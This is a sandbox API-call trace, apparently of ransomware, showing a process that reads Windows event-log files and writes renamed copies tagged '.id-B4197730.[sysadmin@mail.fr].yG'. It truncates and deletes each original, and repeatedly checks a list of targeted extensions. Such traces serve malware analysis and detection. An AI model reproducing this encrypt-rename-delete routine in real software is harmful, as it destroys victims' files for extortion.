	[0050.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.128] lstrlenW (lpString=".doc") returned 4
	[0050.128] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.128] lstrlenW (lpString=".docx") returned 5
	[0050.128] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.128] lstrlenW (lpString=".pdf") returned 4
	[0050.128] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.128] lstrlenW (lpString=".xls") returned 4
	[0050.128] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.128] lstrlenW (lpString=".xlsx") returned 5
	[0050.128] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.128] lstrlenW (lpString=".ppt") returned 4
	[0050.128] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.128] lstrlenW (lpString=".zip") returned 4
	[0050.128] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.128] lstrlenW (lpString=".rar") returned 4
	[0050.128] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.128] lstrlenW (lpString=".bz2") returned 4
	[0050.128] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.128] lstrlenW (lpString=".7z") returned 3
	[0050.128] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.128] lstrlenW (lpString=".dbf") returned 4
	[0050.128] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.128] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.128] lstrlenW (lpString=".1cd") returned 4
	[0050.128] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.129] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.130] lstrlenW (lpString=".jpg") returned 4
	[0050.130] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.130] lstrlenW (lpString=".doc") returned 4
	[0050.130] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.130] lstrlenW (lpString=".docx") returned 5
	[0050.130] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.130] lstrlenW (lpString=".pdf") returned 4
	[0050.130] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.130] lstrlenW (lpString=".xls") returned 4
	[0050.130] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.130] lstrlenW (lpString=".xlsx") returned 5
	[0050.130] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.130] lstrlenW (lpString=".ppt") returned 4
	[0050.130] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.130] lstrlenW (lpString=".zip") returned 4
	[0050.130] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.130] lstrlenW (lpString=".rar") returned 4
	[0050.130] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.130] lstrlenW (lpString=".bz2") returned 4
	[0050.130] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.130] lstrlenW (lpString=".7z") returned 3
	[0050.130] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.131] lstrlenW (lpString=".dbf") returned 4
	[0050.131] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.131] lstrlenW (lpString=".1cd") returned 4
	[0050.131] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-International%4Operational.evtx") returned 57
	[0050.131] lstrlenW (lpString=".jpg") returned 4
	[0050.131] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.131] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.131] lstrlenW (lpString="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 53
	[0050.131] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.131] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0050.131] CloseHandle (hObject=0x388) returned 1
	[0050.131] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 0x20
	[0050.131] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.131] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.131] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.132] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.132] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0050.156] GetLastError () returned 0x0
	[0050.156] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.174] WriteFile (in: hFile=0x348, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.188] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.188] WriteFile (in: hFile=0x348, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0050.188] SetEndOfFile (hFile=0x348) returned 1
	[0050.188] CloseHandle (hObject=0x348) returned 1
	[0050.190] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.190] SetEndOfFile (hFile=0x388) returned 1
	[0050.191] CloseHandle (hObject=0x388) returned 1
	[0050.191] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.191] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-shimengine%4operational.evtx")) returned 1
	[0050.191] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.191] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.191] lstrlenW (lpString=".doc") returned 4
	[0050.191] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.191] lstrlenW (lpString=".docx") returned 5
	[0050.192] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.192] lstrlenW (lpString=".pdf") returned 4
	[0050.192] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString=".xls") returned 4
	[0050.192] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString=".xlsx") returned 5
	[0050.192] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.192] lstrlenW (lpString=".ppt") returned 4
	[0050.192] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.192] lstrlenW (lpString=".zip") returned 4
	[0050.192] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString=".rar") returned 4
	[0050.192] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString=".bz2") returned 4
	[0050.192] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString=".7z") returned 3
	[0050.192] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.192] lstrlenW (lpString=".dbf") returned 4
	[0050.192] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.192] lstrlenW (lpString=".1cd") returned 4
	[0050.192] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.192] lstrlenW (lpString=".jpg") returned 4
	[0050.192] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.192] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.192] lstrlenW (lpString=".doc") returned 4
	[0050.192] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString=".docx") returned 5
	[0050.192] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.192] lstrlenW (lpString=".pdf") returned 4
	[0050.192] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString=".xls") returned 4
	[0050.192] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.192] lstrlenW (lpString=".xlsx") returned 5
	[0050.193] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.193] lstrlenW (lpString=".ppt") returned 4
	[0050.193] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.193] lstrlenW (lpString=".zip") returned 4
	[0050.193] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.193] lstrlenW (lpString=".rar") returned 4
	[0050.193] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.193] lstrlenW (lpString=".bz2") returned 4
	[0050.193] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.193] lstrlenW (lpString=".7z") returned 3
	[0050.193] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.193] lstrlenW (lpString=".dbf") returned 4
	[0050.193] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.193] lstrlenW (lpString=".1cd") returned 4
	[0050.193] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.193] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx") returned 61
	[0050.193] lstrlenW (lpString=".jpg") returned 4
	[0050.193] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.193] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.193] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42
	[0050.193] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.194] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0050.194] CloseHandle (hObject=0x388) returned 1
	[0050.194] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20
	[0050.194] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.194] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0050.195] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.195] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.195] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0050.195] GetLastError () returned 0x0
	[0050.195] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.236] WriteFile (in: hFile=0x348, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.238] ReadFile (in: hFile=0x388, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.238] WriteFile (in: hFile=0x348, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x128, lpOverlapped=0x0) returned 1
	[0050.238] SetEndOfFile (hFile=0x348) returned 1
	[0050.238] CloseHandle (hObject=0x348) returned 1
	[0050.240] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.240] SetEndOfFile (hFile=0x388) returned 1
	[0050.241] CloseHandle (hObject=0x388) returned 1
	[0050.241] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.241] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1
	[0050.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.249] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.249] lstrlenW (lpString=".doc") returned 4
	[0050.249] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.249] lstrlenW (lpString=".docx") returned 5
	[0050.249] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.249] lstrlenW (lpString=".pdf") returned 4
	[0050.249] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.249] lstrlenW (lpString=".xls") returned 4
	[0050.249] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.249] lstrlenW (lpString=".xlsx") returned 5
	[0050.249] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.249] lstrlenW (lpString=".ppt") returned 4
	[0050.249] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.250] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.250] lstrlenW (lpString=".zip") returned 4
	[0050.250] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.250] lstrlenW (lpString=".rar") returned 4
	[0050.250] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.250] lstrlenW (lpString=".bz2") returned 4
	[0050.250] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.250] lstrlenW (lpString=".7z") returned 3
	[0050.250] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.250] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.250] lstrlenW (lpString=".dbf") returned 4
	[0050.250] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.250] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.250] lstrlenW (lpString=".1cd") returned 4
	[0050.250] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.250] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.250] lstrlenW (lpString=".jpg") returned 4
	[0050.250] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.250] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.250] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.250] lstrlenW (lpString=".doc") returned 4
	[0050.250] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.250] lstrlenW (lpString=".docx") returned 5
	[0050.250] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.250] lstrlenW (lpString=".pdf") returned 4
	[0050.250] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.250] lstrlenW (lpString=".xls") returned 4
	[0050.250] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.250] lstrlenW (lpString=".xlsx") returned 5
	[0050.250] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.250] lstrlenW (lpString=".ppt") returned 4
	[0050.251] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.251] lstrlenW (lpString=".zip") returned 4
	[0050.251] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.251] lstrlenW (lpString=".rar") returned 4
	[0050.251] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.251] lstrlenW (lpString=".bz2") returned 4
	[0050.251] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.251] lstrlenW (lpString=".7z") returned 3
	[0050.251] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.251] lstrlenW (lpString=".dbf") returned 4
	[0050.251] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0050.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.251] lstrlenW (lpString=".1cd") returned 4
	[0050.251] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0050.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50
	[0050.251] lstrlenW (lpString=".jpg") returned 4
	[0050.251] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0050.251] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0050.251] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48
	[0050.251] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0050.252] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0050.252] CloseHandle (hObject=0x348) returned 1
	[0050.252] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20
	[0050.252] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0050.253] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0050.253] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.253] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.255] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0050.284] GetLastError () returned 0x0
	[0050.284] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0050.361] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0050.362] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0050.363] WriteFile (in: hFile=0x34c, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x134, lpOverlapped=0x0) returned 1
	[0050.363] SetEndOfFile (hFile=0x34c) returned 1
	[0050.363] CloseHandle (hObject=0x34c) returned 1
	[0050.364] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0050.364] SetEndOfFile (hFile=0x2ec) returned 1
	[0050.366] CloseHandle (hObject=0x2ec) returned 1
	[0050.366] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0050.366] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1
	[0050.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.366] lstrlenW (lpString=".doc") returned 4
	[0050.366] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0050.366] lstrlenW (lpString=".docx") returned 5
	[0050.366] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0050.366] lstrlenW (lpString=".pdf") returned 4
	[0050.366] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0050.366] lstrlenW (lpString=".xls") returned 4
	[0050.366] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0050.366] lstrlenW (lpString=".xlsx") returned 5
	[0050.366] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0050.366] lstrlenW (lpString=".ppt") returned 4
	[0050.366] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0050.366] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
	[0050.367] lstrlenW (lpString=".zip") returned 4
	[0050.367] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0050.367] lstrlenW (lpString=".rar") returned 4
	[0050.367] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0050.367] lstrlenW (lpString=".bz2") returned 4
	[0050.367] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0050.367] lstrlenW (lpString=".7z") returned 3
	[0050.367] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0050.367] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx") returned 56
